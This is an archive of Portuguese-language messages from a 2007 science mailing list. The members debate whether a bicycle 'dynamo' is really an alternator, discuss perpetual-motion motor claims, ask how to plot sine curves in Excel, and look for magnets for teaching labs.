Imaginei algo assim (exceto o uso deles para entupir motores ou equipamentos).

Quando esse pessoal fala em "segurança" e "defesa", a gente já pode
ficar com o pé atrás...

Espero que mantenham a sensatez e , caso se desenvolvam realmente
essas coisinhas, que usem pra algo mais útil (como rodear flores
artificiais por exemplo, ou vacas mecânicas)


Gil


SUBJECT: RES: [ciencialist] Re: Motor "revolucionário"
FROM: "J.Victor" <j.victor.neto@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 21/07/2007 04:11

Caro Léo,



Enfim, um dínamo de bicicleta é tudo, menos o que a meninada acha que é.
Muito, muito bom.

Brincadeira, é só para enfatizar que o seu “ Em fim” deveria se referir ao
fim de certas threads idiotas e sem sentido que ameaçam recomeçar, se vós
outros derem a atenção pretendida pelo(s) autore(s). Façam como eu. Usem
Bombril. E todos serão salvos. Mesmo os mortos e feridos.

Sds,

Victor.





De: ciencialist@yahoogrupos.com.br [mailto:ciencialist@yahoogrupos.com.br]
Em nome de Luiz Ferraz Netto
Enviada em: sexta-feira, 20 de julho de 2007 20:19
Para: ciencialist@yahoogrupos.com.br
Assunto: Re: [ciencialist] Re: Motor "revolucionário"



Caro Álvaro,

sim, conheço o 'alternador de corrente alternada', só que tem gente que
confunde com 'dínamo de bicicleta'.
Dínamo é essencialmente a denominação de um gerador de CC (na verdade uma CC
pulsante, mas CC), mas tem gente que pensa que dínamo de bicicleta fornece
CC (mesmo que pulsante).
Dínamo de bicicleta não é dínamo, é alternador; geralmente ímã permanente
como rotor/indutor e bobina fixa/induzido.
Sabe porque saliento isso? É porque a idéia é tão difundida que muitos e
muitos alunos montam o tal gerador elementar ('dínamo de bicicleta' + polia
+ correia + manivela) e tentam com ele fazer funcionar um rádio de pilhas (e
só escutam roncos!), uma eletrólise (e os gases saem misturados) e acender
lampadinhas (tudo bem) e LEDs (e não percebem que o LED fica piscando pois a
freqüência é maior que 10 Hz). Alguns tentam carregar baterias com o gerador
elementar acima descrito. Que frustração!

Claro que nada que uma ponte retificadora e um bom eletrolítico não
conserte, mas nem sonham com tal ponte e filtragem!

Em fim, ....

[]'
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Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br <mailto:leobarretos%40uol.com.br>
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De: "Alvaro Augusto (U)" <alvaro@daelt.sh06.com
<mailto:alvaro%40daelt.sh06.com> >
Para: <ciencialist@yahoogrupos.com.br
<mailto:ciencialist%40yahoogrupos.com.br> >
Enviada em: sexta-feira, 20 de julho de 2007 14:44
Assunto: Re: [ciencialist] Re: Motor "revolucionário"

Caro Léo,

"Bateria de corrente contínua" é uma criatura da mesma família do
"alternador de corrente alternada". Você não conhece? :-)

Quanto ao "aguns", maldito corretor ortográfico do Word!

Obrigado pelas correções. Acho que preciso trocar minhas lentes...

[ ]s

Alvaro Augusto

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From: "Luiz Ferraz Netto" <leobarretos@uol.com.br
<mailto:leobarretos%40uol.com.br> >
To: <ciencialist@yahoogrupos.com.br
<mailto:ciencialist%40yahoogrupos.com.br> >
Sent: Friday, July 20, 2007 1:56 PM
Subject: Re: [ciencialist] Re: Motor "revolucionário"

Olá Álvaro,

muito bom!
Vamos às erratas:
1) 4 parágrafos abaixo da foto da moto: ..... o qual, por sua vez, pode ser
alimentado por meio de baterias de corrente contínua.
Léo: retire "de corrente contínua". Vc conhece alguma outra bateria que não
seja de corrente contínua?
2)no parágrafo final: ..... eu estava examinando aguns feeds da revista The
Economist ..
Léo: alguns em lugar de aguns.

Sim, só isso!

[]'

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Luiz Ferraz Netto [Léo]
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De: "Alvaro Augusto (U)" <alvaro@daelt.sh06.com
<mailto:alvaro%40daelt.sh06.com> >
Para: <ciencialist@yahoogrupos.com.br
<mailto:ciencialist%40yahoogrupos.com.br> >
Enviada em: sexta-feira, 20 de julho de 2007 09:56
Assunto: Re: [ciencialist] Re: Motor "revolucionário"

Fiz algumas pesquisas sobre esse motor da Axle e escrevi mais um post da
série "moto contínuo". Detalhes em
http://alvaroaugusto.blogspot.com/2007/07/moto-contnuo-o-sonho-que-no-quer-m
orrer.html[ ]sAlvaro Augusto

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[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Pedido # 2
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 21/07/2007 08:06

Takata et all,

estou terminando um texto de título "Onda Senoidal" o qual inclui, obviamente, a curva senóide. Estou propondo ao leitor que construa, por pontos, o gráfico da função trigonométrica fundamental y = senx (depois, ampliar os horizontes com y = a.senx , y = a.sen(x + b) etc.).
A técnica para a aquisição de pontos (uns 12, pelo menos, em um período), estou propondo uma tabela trigonométrica e/ou uma modesta calculadora científica. Isso tudo para depois poder conceituar corretamente o valor médio da função, o valor quadrático médio (rms) e suas relações com valor máximo (pico), diferença de fases, superposição de funções harmônicas etc., usando desses dados e desses gráficos.

Agora o pedido #2.

Como não sei mexer com o Excel (para gráficos uso outros softwares onde especifico a função -- campo de definição, campo de variação -- e pronto, lá está a curva!), que participa do pacote Windows (que a enorme maioria tem), gostaria da "descrição detalhada" dos passos a ser relatados ao consulente para construir tal curva senoidal no Excel. Sei que o Takata é profundo conhecedor de todos os softwares (o que não é novidade alguma!).
Então, podem me detalhar tal procedimento para construir, via Excel, tais curvetas: y = senx; y = 2.senx; y = 2.sen(x+30) [ou y = 2.sen(x+pi/6)] ?

Os vidrados no Imperdível e o autor agradecem.

Nota: Já recebi da Editora Livraria da Física o "boneco" para primeira revisão do primeiro volume (Eletrônica) do novo Manual das Feiras de Ciências (que terá uns 15 volumes). Vejamos se até o final do ano já estará nas livrarias esse primeiro volume.
O 'lançamento' desse volume será feito aqui em Barretos mesmo; talvez da janela do último andar do prédio mais alto.

aquele abraço,

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Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
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SUBJECT: TRATADO DE ATEOLOGIA
FROM: "Esteban Moreno" <estebanlmoreno@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 21/07/2007 10:07

TRATADO DE ATEOLOGIA,Autor: ONFRAY, MICHEL, Editora: MARTINS FONTES.
Este livro traz os assuntos - Parte 1 - Ateologia - A odisséia dos
espíritos incrédulos; O ateísmo e saída do niilismo; Em direcção a uma
ateologia. Parte 2 - Monoteísmos; Tirania e servidão nos mundos
subjacentes; Autos de fé da inteligência; Desejar o contrário do real.
Parte 3 - Cristianismo; A construção de Jesus; A contaminação
Paulista; O estado totalitário cristão. Parte 4 - Teocracia; Pequena
teoria da selecção de citações; Ao serviço da pulsão de morte; Por um
laicismo pós-cristão


SUBJECT: Convite - Arte e Cultura
FROM: "Deise Nascimento" <deise0109@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 21/07/2007 14:07

Amigos e Amigas da Cultura Por favor confirmem presença para o
evento a ser realizado dia 26/07/2007. Arquivos na pasta de arquivos do
grupo. CONVITE A ACADEMIE ARTS SCIENCES LETTRES na presença de
sua Delegada, a Sra. Diva Pavesi tem a honra em convidar Vossa Senhoria
para "O PRIMEIRO ENCONTRO NACIONAL DOS LAUREADOS BRASILEIROS",
no Memorial América Latina no dia 26 de Julho às 19 horas e trinta
minutos. Após o encontro; Laureados e Convidados visitarão a
maravilhosa exposição de fotos da comemoração dos "100 anos de
encantamento do Mestre Oscar Niemeyer." Um abraço Deise
Nascimento +55(19)91234505 http://deisenascimento.blogspot.com/


[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re:Gyro question
FROM: "murilo filo" <avalanchedrive@hotmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 21/07/2007 19:52

( pode ser útil p/alguém.)


>To: free_energy@yahoogroups.com
>Subject: [free_energy] Re:Gyro question
>Date: Sat, 21 Jul 2007 21:09:31 -0000
>
>Here is a good online gyro reference:
>http://www.gyros.biz/theindex.asp
>
>
>
>To drop of the list, send email to:
>free_energy-unsubscribe@yahoogroups.com
>Yahoo! Groups Links
>




SUBJECT: Re: [ciencialist] o cientificismo light e o hard
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 21/07/2007 20:06

Ah! Antes que algum filósofo de boteco venha a comentar sobre essa mensagem abaixo, de verdade em verdade vos digo: foi minha maneira de tecer um alto elogio ao brilhante texto do Bulcão; brilhante em vários sentidos e, um deles, é sem dúvida sua cultura lingüística.
[]'

===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
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-----Mensagem Original-----
De: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: sexta-feira, 20 de julho de 2007 12:58
Assunto: Re: [ciencialist] o cientificismo light e o hard


Tentei três tradutores automáticos para converter esse texto do Bulcão para a língua portuguesa; todos se auto-bloquearam pela quantidade de palavras não conhecidas. Esses tradutores automáticos quando encontram tais palavrões (como: omnipenetrante, imanentes, animais gregários cooperativos, obnubiladas, sublimação artística, efeito colateral de uma emoção mamífera, propugna, excreções mentais de indivíduos inaptos, consoante uma vulgata da memética , .... até o buscador dos palavrões se auto-bloqueou!) recorrem a todas as outras línguas conhecidas no intuito de achar uma versão para o contexto --- e nada!
Assim, se alguém tiver um tradutor específico para a conversão Bulcão/Português eu agradeço pois estou realmente interessado em saber o que ele escreveu.
Assim que eu aprender um pouco dessa nova linguagem vou converter todos os textos do Feira de Ciências para ela; é impressionante! Cristalina!

No aguardo, com interesse.

aquele abraço,

:-)))))))))))
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================



SUBJECT: Fw: feira de ciencias
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: "ciencialist" <ciencialist@yahoogrupos.com.br>
DATE: 21/07/2007 20:11

Esse é para o Álvoro ço!
[]'
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Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: "sgrtecnica" <sgrtecnica@uol.com.br>
Para: "leobarretos" <leobarretos@uol.com.br>
Enviada em: sexta-feira, 20 de julho de 2007 11:15
Assunto: feira de ciencias


Olá caro professor, meu nome é Antonio, sou profissional da area automotiva, e estudante de eletronica por hobby (pesquiso na net) meus parabéns pelo site!
Se possível, poderia tirar um duvida ? tenho um motor 12v trifasico, pequeno, como faço para dar partida neste motor? estou procurando compreender o sistema!

ja li a respeito, sei que ele parte em estrela e depois vira triangulo, mas na pratica não entendo .
Voce poderia me ajudar neste sentido ?

Grato

Antonio Jose



SUBJECT: Re: [ciencialist] Re: Motor "revolucionário"
FROM: "Alvaro Augusto \(U\)" <alvaro@daelt.sh06.com>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 21/07/2007 22:45

A intensidade de campo dos ímãs não está relacionada à frequência da
corrente induzida. O máximo que você vai conseguir com um ímã poderoso será
uma onda quadrada, mas a frequência será a mesma. No caso do alternador, a
frequência pode ser aumentada aumentando-se o número de pólos, mantendo-se a
velocidade. No caso do gerador DC, basta aumentar o número de comutadores.

[ ]s

Alvaro Augusto de Almeida
http://alvaroaugusto.blogspot.com
alvaro@lunabay.com.br


----- Original Message -----
From: "murilo filo" <avalanchedrive@hotmail.com>
To: <ciencialist@yahoogrupos.com.br>
Sent: Friday, July 20, 2007 10:37 PM
Subject: Re: [ciencialist] Re: Motor "revolucionário"


> Pelo menos anteriormente, um dínamo de biscreta tinha um ímã bem poderoso.
> Como pode sair um AC ou um CC muito pulsante disso?
> Só exponho minha ignorância... sem discução.
> abr/M.
>
>
>>From: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
>>Reply-To: ciencialist@yahoogrupos.com.br
>>To: <ciencialist@yahoogrupos.com.br>
>>Subject: Re: [ciencialist] Re: Motor "revolucionário"
>>Date: Fri, 20 Jul 2007 20:18:45 -0300
>>
>>Caro Álvaro,
>>
>>sim, conheço o 'alternador de corrente alternada', só que tem gente que
>>confunde com 'dínamo de bicicleta'.
>>Dínamo é essencialmente a denominação de um gerador de CC (na verdade uma
>>CC pulsante, mas CC), mas tem gente que pensa que dínamo de bicicleta
>>fornece CC (mesmo que pulsante).
>>Dínamo de bicicleta não é dínamo, é alternador; geralmente ímã permanente
>>como rotor/indutor e bobina fixa/induzido.
>>Sabe porque saliento isso? É porque a idéia é tão difundida que muitos e
>>muitos alunos montam o tal gerador elementar ('dínamo de bicicleta' +
>>polia
>>+ correia + manivela) e tentam com ele fazer funcionar um rádio de pilhas
>>(e só escutam roncos!), uma eletrólise (e os gases saem misturados) e
>>acender lampadinhas (tudo bem) e LEDs (e não percebem que o LED fica
>>piscando pois a freqüência é maior que 10 Hz). Alguns tentam carregar
>>baterias com o gerador elementar acima descrito. Que frustração!
>>
>>Claro que nada que uma ponte retificadora e um bom eletrolítico não
>>conserte, mas nem sonham com tal ponte e filtragem!
>>
>>Em fim, ....
>>
>>[]'
>> ===========================
>> Luiz Ferraz Netto [Léo]
>> leobarretos@uol.com.br
>> http://www.feiradeciencias.com.br/doacoes.asp
>> ===========================
>>-----Mensagem Original-----
>>De: "Alvaro Augusto (U)" <alvaro@daelt.sh06.com>
>>Para: <ciencialist@yahoogrupos.com.br>
>>Enviada em: sexta-feira, 20 de julho de 2007 14:44
>>Assunto: Re: [ciencialist] Re: Motor "revolucionário"
>>
>>
>>Caro Léo,
>>
>>"Bateria de corrente contínua" é uma criatura da mesma família do
>>"alternador de corrente alternada". Você não conhece? :-)
>>
>>Quanto ao "aguns", maldito corretor ortográfico do Word!
>>
>>Obrigado pelas correções. Acho que preciso trocar minhas lentes...
>>
>>[ ]s
>>
>>Alvaro Augusto
>>
>>
>>----- Original Message -----
>>From: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
>>To: <ciencialist@yahoogrupos.com.br>
>>Sent: Friday, July 20, 2007 1:56 PM
>>Subject: Re: [ciencialist] Re: Motor "revolucionário"
>>
>>
>>Olá Álvaro,
>>
>>muito bom!
>>Vamos às erratas:
>>1) 4 parágrafos abaixo da foto da moto: ..... o qual, por sua vez, pode
>>ser
>>alimentado por meio de baterias de corrente contínua.
>>Léo: retire "de corrente contínua". Vc conhece alguma outra bateria que
>>não
>>seja de corrente contínua?
>>2)no parágrafo final: ..... eu estava examinando aguns feeds da revista
>>The
>>Economist ..
>>Léo: alguns em lugar de aguns.
>>
>>Sim, só isso!
>>
>>[]'
>>
>> ===========================
>> Luiz Ferraz Netto [Léo]
>> leobarretos@uol.com.br
>> http://www.feiradeciencias.com.br/doacoes.asp
>> ===========================
>>-----Mensagem Original-----
>>De: "Alvaro Augusto (U)" <alvaro@daelt.sh06.com>
>>Para: <ciencialist@yahoogrupos.com.br>
>>Enviada em: sexta-feira, 20 de julho de 2007 09:56
>>Assunto: Re: [ciencialist] Re: Motor "revolucionário"
>>
>>
>>Fiz algumas pesquisas sobre esse motor da Axle e escrevi mais um post da
>>série "moto contínuo". Detalhes em
>>
>>http://alvaroaugusto.blogspot.com/2007/07/moto-contnuo-o-sonho-que-no-quer-morrer.html[
>>]sAlvaro Augusto
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>>--
>>No virus found in this incoming message.
>>Checked by AVG Free Edition.
>>Version: 7.5.476 / Virus Database: 269.10.9/907 - Release Date: 18/07/2007
>>15:30
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SUBJECT: Re: [ciencialist] Re: Motor "revolucionário"
FROM: "Alvaro Augusto \(U\)" <alvaro@daelt.sh06.com>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 21/07/2007 23:08

Caro Léo,

A "culpa", nesse caso, não é dos alunos, mas dos fabricantes. A pioneira
desse mercado foi a Sturmey-Archer, que lançou o DynoHub na década de 30 a
até hoje vende o produto com o nome de "dínamo" (ver
http://www.sturmey-archer.com/hubs_fh_XFDD.php). Não vejo que o uso da
palavra "dínamo" para caracterizar um gerador de bicicleta seja um pecado
muito grande. No máximo, é um pecado venial, pois conceitos são mais
importantes do que nomes. Assim, embora pessoas que usam nomes errados
geralmente não saibam os conceitos corretos, saber os nomes "corretos" de
todas as coisas e não conhecer os conceitos é igualmente ruim.

[ ]s

Alvaro Augusto




----- Original Message -----
From: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
To: <ciencialist@yahoogrupos.com.br>
Sent: Friday, July 20, 2007 8:18 PM
Subject: Re: [ciencialist] Re: Motor "revolucionário"


Caro Álvaro,

sim, conheço o 'alternador de corrente alternada', só que tem gente que
confunde com 'dínamo de bicicleta'.
Dínamo é essencialmente a denominação de um gerador de CC (na verdade uma CC
pulsante, mas CC), mas tem gente que pensa que dínamo de bicicleta fornece
CC (mesmo que pulsante).
Dínamo de bicicleta não é dínamo, é alternador; geralmente ímã permanente
como rotor/indutor e bobina fixa/induzido.
Sabe porque saliento isso? É porque a idéia é tão difundida que muitos e
muitos alunos montam o tal gerador elementar ('dínamo de bicicleta' + polia
+ correia + manivela) e tentam com ele fazer funcionar um rádio de pilhas (e
só escutam roncos!), uma eletrólise (e os gases saem misturados) e acender
lampadinhas (tudo bem) e LEDs (e não percebem que o LED fica piscando pois a
freqüência é maior que 10 Hz). Alguns tentam carregar baterias com o gerador
elementar acima descrito. Que frustração!

Claro que nada que uma ponte retificadora e um bom eletrolítico não
conserte, mas nem sonham com tal ponte e filtragem!

Em fim, ....

[]'
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: "Alvaro Augusto (U)" <alvaro@daelt.sh06.com>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: sexta-feira, 20 de julho de 2007 14:44
Assunto: Re: [ciencialist] Re: Motor "revolucionário"


Caro Léo,

"Bateria de corrente contínua" é uma criatura da mesma família do
"alternador de corrente alternada". Você não conhece? :-)

Quanto ao "aguns", maldito corretor ortográfico do Word!

Obrigado pelas correções. Acho que preciso trocar minhas lentes...

[ ]s

Alvaro Augusto


----- Original Message -----
From: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
To: <ciencialist@yahoogrupos.com.br>
Sent: Friday, July 20, 2007 1:56 PM
Subject: Re: [ciencialist] Re: Motor "revolucionário"


Olá Álvaro,

muito bom!
Vamos às erratas:
1) 4 parágrafos abaixo da foto da moto: ..... o qual, por sua vez, pode ser
alimentado por meio de baterias de corrente contínua.
Léo: retire "de corrente contínua". Vc conhece alguma outra bateria que não
seja de corrente contínua?
2)no parágrafo final: ..... eu estava examinando aguns feeds da revista The
Economist ..
Léo: alguns em lugar de aguns.

Sim, só isso!

[]'

===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: "Alvaro Augusto (U)" <alvaro@daelt.sh06.com>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: sexta-feira, 20 de julho de 2007 09:56
Assunto: Re: [ciencialist] Re: Motor "revolucionário"


Fiz algumas pesquisas sobre esse motor da Axle e escrevi mais um post da
série "moto contínuo". Detalhes em


SUBJECT: Alguém sabe?
FROM: José Carlos Antonio <profjc2003@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 22/07/2007 05:03

Alguém sabe onde posso comprar ímãs para uso no laboratório didático?
Já tentei pedir orçamentos pela Internet mas depois que digo que são
poucos ímãs ninguém mais retorna nenhuma resposta. Acho que só vendem
de tonelada. :)

Na verdade não faço nem idéia do custo de bons ímãs, mas acho que não
deve custar um absurdo (espero) e já estou cansado de tirar ímas de
auto-falantes para montar kits para meus alunos.

Se alguém souber onde posso comprar esses bichinhos (de preferência
que eu possa encomendar pela Internet e pagar com cartão de crédito)
eu antecipadamente agradeço.

Abraços,
JC




SUBJECT: Re:Gyro question
FROM: José Carlos Antonio <profjc2003@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 22/07/2007 05:07

Valeu!

Abraços,
JC


--- Em ciencialist@yahoogrupos.com.br, "murilo filo"
<avalanchedrive@...> escreveu
>
> ( pode ser útil p/alguém.)
>
>
> >To: free_energy@yahoogroups.com
> >Subject: [free_energy] Re:Gyro question
> >Date: Sat, 21 Jul 2007 21:09:31 -0000
> >
> >Here is a good online gyro reference:
> >http://www.gyros.biz/theindex.asp
> >
> >
> >
> >To drop of the list, send email to:
> >free_energy-unsubscribe@yahoogroups.com
> >Yahoo! Groups Links
> >
>




SUBJECT: Re: [ciencialist] Re: Motor "revolucionário"
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 22/07/2007 08:31

Caro Álvaro,

Concordo que saber o conceito prevalece sobre saber o nome, mas, se os dois 'nome' e 'conceito' andarem de mãos dadas estaremos um passo à frente. Assim, não cabe a titulometria 'pecado venial'; é pecado original mesmo! A História da Ciência nos relata a trabalheira de pesquisadores para conseguir, não só conhecimento técnico útil, mas tb uma fecunda terminologia para os trabalhos científicos. Misturar as coisas e degradar terminologia nos fará cair direto no fenômeno 'ferrari' e suas conseqüências.

Estou me referindo, obviamente, ao "dínamo"; nome e conceito postos, desde sua implantação (sofrida) para diferenciar do "alternador".
O primeiro alternador de Faraday, a seguir substancialmente melhorado por físicos e experimentadores da época, foram convertidos em geradores de CC, com trabalhos de Gramme, Pacinotti etc., que lhe atribuíram o pomposo nome de "dínamo", justamente para diferenciar dos alternadores. Recordo que à época, a procura de fonte C.C. era mais importante que a C.A. (veja-se a briga posterior entre Edison e Whestinhouse (?)) pois já tinham os trabalhos baseados na pilha de volta.

Assim, está errado e é pecado capital usar 'dínamo' em lugar de 'alternador': "dínamo de bicicleta" não existe! (pelo menos atualmente, pode ser que passem a dotá-los de diodos ... e tudo bem!).

Existem realmente pecados veniais na terminologia científica; vc acha que a "pilha de Volta" é uma pilha ou é uma bateria? "Pilha" surgiu devido ao "empilhamento" das rodelas de cobre e zinco separadas pelo pano umedecido de solução ácida; para constituir a "bateria de Volta" --- mas, deixemos, historicamente, por "pilha de Volta". 'Pilha de Daniel' é realmente uma pilha, uma célula voltaica! 'Pilha de batata', com lâminas de cobre e zinco espetadas nela, é uma pilha, uma célula voltaica.
Continuemos a falar dos pecados veniais: voltômetro ou voltímetro?; cronômetro ou cronímetro? pacômetro ou paquímetro? amperômetro ou amperímetro? Veja; se é para bagunçar, ai está um prato cheio, bem 'ferrariano'!
Continuemos a falar dos pecados veniais: espaço percorrido ou quilometragem? determinação do peso de um corpo ou pesagem? ajuste do circuito oscilante ou calibragem; vamos 'calibrar' os pneus? Põe ai 28 libras! Ou, põe ai 28 libras por polegada quadrada?

Poderíamos até fazer uma lista das coisas que devem ser 'arrumadas' para tentar evitar, por exemplo, a calamidade científica de uma moça ferrariana subir numa balança e blasfemar: "Eu peso 40 quilos!"

Aquele abraço,
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: "Alvaro Augusto (U)" <alvaro@daelt.sh06.com>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: sábado, 21 de julho de 2007 23:08
Assunto: Re: [ciencialist] Re: Motor "revolucionário"


Caro Léo,

A "culpa", nesse caso, não é dos alunos, mas dos fabricantes. A pioneira
desse mercado foi a Sturmey-Archer, que lançou o DynoHub na década de 30 a
até hoje vende o produto com o nome de "dínamo" (ver
http://www.sturmey-archer.com/hubs_fh_XFDD.php). Não vejo que o uso da
palavra "dínamo" para caracterizar um gerador de bicicleta seja um pecado
muito grande. No máximo, é um pecado venial, pois conceitos são mais
importantes do que nomes. Assim, embora pessoas que usam nomes errados
geralmente não saibam os conceitos corretos, saber os nomes "corretos" de
todas as coisas e não conhecer os conceitos é igualmente ruim.

[ ]s

Alvaro Augusto




----- Original Message -----
From: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
To: <ciencialist@yahoogrupos.com.br>
Sent: Friday, July 20, 2007 8:18 PM
Subject: Re: [ciencialist] Re: Motor "revolucionário"


Caro Álvaro,

sim, conheço o 'alternador de corrente alternada', só que tem gente que
confunde com 'dínamo de bicicleta'.
Dínamo é essencialmente a denominação de um gerador de CC (na verdade uma CC
pulsante, mas CC), mas tem gente que pensa que dínamo de bicicleta fornece
CC (mesmo que pulsante).
Dínamo de bicicleta não é dínamo, é alternador; geralmente ímã permanente
como rotor/indutor e bobina fixa/induzido.
Sabe porque saliento isso? É porque a idéia é tão difundida que muitos e
muitos alunos montam o tal gerador elementar ('dínamo de bicicleta' + polia
+ correia + manivela) e tentam com ele fazer funcionar um rádio de pilhas (e
só escutam roncos!), uma eletrólise (e os gases saem misturados) e acender
lampadinhas (tudo bem) e LEDs (e não percebem que o LED fica piscando pois a
freqüência é maior que 10 Hz). Alguns tentam carregar baterias com o gerador
elementar acima descrito. Que frustração!

Claro que nada que uma ponte retificadora e um bom eletrolítico não
conserte, mas nem sonham com tal ponte e filtragem!

Em fim, ....

[]'
===========================
Luiz Ferraz Netto [Léo]



SUBJECT: Re: [ciencialist] Re: Motor "revolucionário"
FROM: "murilo filo" <avalanchedrive@hotmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 22/07/2007 19:22

Álvaro, oi...
Brigadão...
( foi ruím eu dizer ''discução''... mas deu p/entender...:)
Agora cuida daquele carinha - consulente do Leo - com um motor trifásico de
12V, que não deve ser nada disso.
abraço! M. SP 22/julh07


>From: "Alvaro Augusto (U)" <alvaro@daelt.sh06.com>
>Reply-To: ciencialist@yahoogrupos.com.br
>To: <ciencialist@yahoogrupos.com.br>
>Subject: Re: [ciencialist] Re: Motor "revolucionário"
>Date: Sat, 21 Jul 2007 22:45:47 -0300
>
>A intensidade de campo dos ímãs não está relacionada à frequência da
>corrente induzida. O máximo que você vai conseguir com um ímã poderoso será
>uma onda quadrada, mas a frequência será a mesma. No caso do alternador, a
>frequência pode ser aumentada aumentando-se o número de pólos, mantendo-se
>a
>velocidade. No caso do gerador DC, basta aumentar o número de comutadores.
>
>[ ]s
>
>Alvaro Augusto de Almeida
>http://alvaroaugusto.blogspot.com
>alvaro@lunabay.com.br
>
>
>----- Original Message -----
>From: "murilo filo" <avalanchedrive@hotmail.com>
>To: <ciencialist@yahoogrupos.com.br>
>Sent: Friday, July 20, 2007 10:37 PM
>Subject: Re: [ciencialist] Re: Motor "revolucionário"
>
>
> > Pelo menos anteriormente, um dínamo de biscreta tinha um ímã bem
>poderoso.
> > Como pode sair um AC ou um CC muito pulsante disso?
> > Só exponho minha ignorância... sem discução.
> > abr/M.
> >
> >
> >>From: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
> >>Reply-To: ciencialist@yahoogrupos.com.br
> >>To: <ciencialist@yahoogrupos.com.br>
> >>Subject: Re: [ciencialist] Re: Motor "revolucionário"
> >>Date: Fri, 20 Jul 2007 20:18:45 -0300
> >>
> >>Caro Álvaro,
> >>
> >>sim, conheço o 'alternador de corrente alternada', só que tem gente que
> >>confunde com 'dínamo de bicicleta'.
> >>Dínamo é essencialmente a denominação de um gerador de CC (na verdade
>uma
> >>CC pulsante, mas CC), mas tem gente que pensa que dínamo de bicicleta
> >>fornece CC (mesmo que pulsante).
> >>Dínamo de bicicleta não é dínamo, é alternador; geralmente ímã
>permanente
> >>como rotor/indutor e bobina fixa/induzido.
> >>Sabe porque saliento isso? É porque a idéia é tão difundida que muitos e
> >>muitos alunos montam o tal gerador elementar ('dínamo de bicicleta' +
> >>polia
> >>+ correia + manivela) e tentam com ele fazer funcionar um rádio de
>pilhas
> >>(e só escutam roncos!), uma eletrólise (e os gases saem misturados) e
> >>acender lampadinhas (tudo bem) e LEDs (e não percebem que o LED fica
> >>piscando pois a freqüência é maior que 10 Hz). Alguns tentam carregar
> >>baterias com o gerador elementar acima descrito. Que frustração!
> >>
> >>Claro que nada que uma ponte retificadora e um bom eletrolítico não
> >>conserte, mas nem sonham com tal ponte e filtragem!
> >>
> >>Em fim, ....
> >>
> >>[]'
> >> ===========================
> >> Luiz Ferraz Netto [Léo]
> >> leobarretos@uol.com.br
> >> http://www.feiradeciencias.com.br/doacoes.asp
> >> ===========================
> >>-----Mensagem Original-----
> >>De: "Alvaro Augusto (U)" <alvaro@daelt.sh06.com>
> >>Para: <ciencialist@yahoogrupos.com.br>
> >>Enviada em: sexta-feira, 20 de julho de 2007 14:44
> >>Assunto: Re: [ciencialist] Re: Motor "revolucionário"
> >>
> >>
> >>Caro Léo,
> >>
> >>"Bateria de corrente contínua" é uma criatura da mesma família do
> >>"alternador de corrente alternada". Você não conhece? :-)
> >>
> >>Quanto ao "aguns", maldito corretor ortográfico do Word!
> >>
> >>Obrigado pelas correções. Acho que preciso trocar minhas lentes...
> >>
> >>[ ]s
> >>
> >>Alvaro Augusto
> >>
> >>
> >>----- Original Message -----
> >>From: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
> >>To: <ciencialist@yahoogrupos.com.br>
> >>Sent: Friday, July 20, 2007 1:56 PM
> >>Subject: Re: [ciencialist] Re: Motor "revolucionário"
> >>
> >>
> >>Olá Álvaro,
> >>
> >>muito bom!
> >>Vamos às erratas:
> >>1) 4 parágrafos abaixo da foto da moto: ..... o qual, por sua vez, pode
> >>ser
> >>alimentado por meio de baterias de corrente contínua.
> >>Léo: retire "de corrente contínua". Vc conhece alguma outra bateria que
> >>não
> >>seja de corrente contínua?
> >>2)no parágrafo final: ..... eu estava examinando aguns feeds da revista
> >>The
> >>Economist ..
> >>Léo: alguns em lugar de aguns.
> >>
> >>Sim, só isso!
> >>
> >>[]'
> >>
> >> ===========================
> >> Luiz Ferraz Netto [Léo]
> >> leobarretos@uol.com.br
> >> http://www.feiradeciencias.com.br/doacoes.asp
> >> ===========================
> >>-----Mensagem Original-----
> >>De: "Alvaro Augusto (U)" <alvaro@daelt.sh06.com>
> >>Para: <ciencialist@yahoogrupos.com.br>
> >>Enviada em: sexta-feira, 20 de julho de 2007 09:56
